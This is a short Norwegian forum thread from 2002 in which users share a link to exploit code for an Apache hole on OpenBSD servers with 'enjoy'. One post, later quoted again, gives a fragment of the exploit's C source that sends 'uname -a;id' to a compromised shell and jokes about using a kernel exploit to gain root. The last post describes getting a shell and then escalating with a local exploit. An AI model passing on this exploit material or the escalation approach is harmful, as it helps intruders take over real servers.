Apache exploit Datasikkerhet

21. juni 2002

Dere har sikker hørt om det hullet i Apache (på OpenBSD servere) som nettopp er funnet.. Her har dere Exploit kode for det:

http://online.securityfocus.com/atta...apache-scalp.c

enjoy

Scha

Serbern

624 4

21. juni 2002

Hmm.. har ikke hørt om den. Men alikevel:
if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
printf("\nGOBBLE GOBBLE!@#%%)*#\n");
printf("retaddr 0x%lx did the trick!\n", retaddr);
sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
write(sock, expbuf, strlen(expbuf));
owned++;

Surfer

237 0

21. juni 2002

http://www.eeye.com/html/Research/To...hechunked.html
Tenkte denne kunne hjelpe.

KozmiC

ddrdancer

325 0

21. juni 2002

Opprinnelig postet av XeQtR
Hmm.. har ikke hørt om den. Men alikevel:
if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
printf("\nGOBBLE GOBBLE!@#%%)*#\n");
printf("retaddr 0x%lx did the trick!\n", retaddr);
sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
write(sock, expbuf, strlen(expbuf));
owned++;

Vis hele sitatet...

Har i det siste krydd av local sploits, så det å få tak i en er vel ikke akkurat den vanskeligst oppgaven. Spawner shell, så bruke local sploit.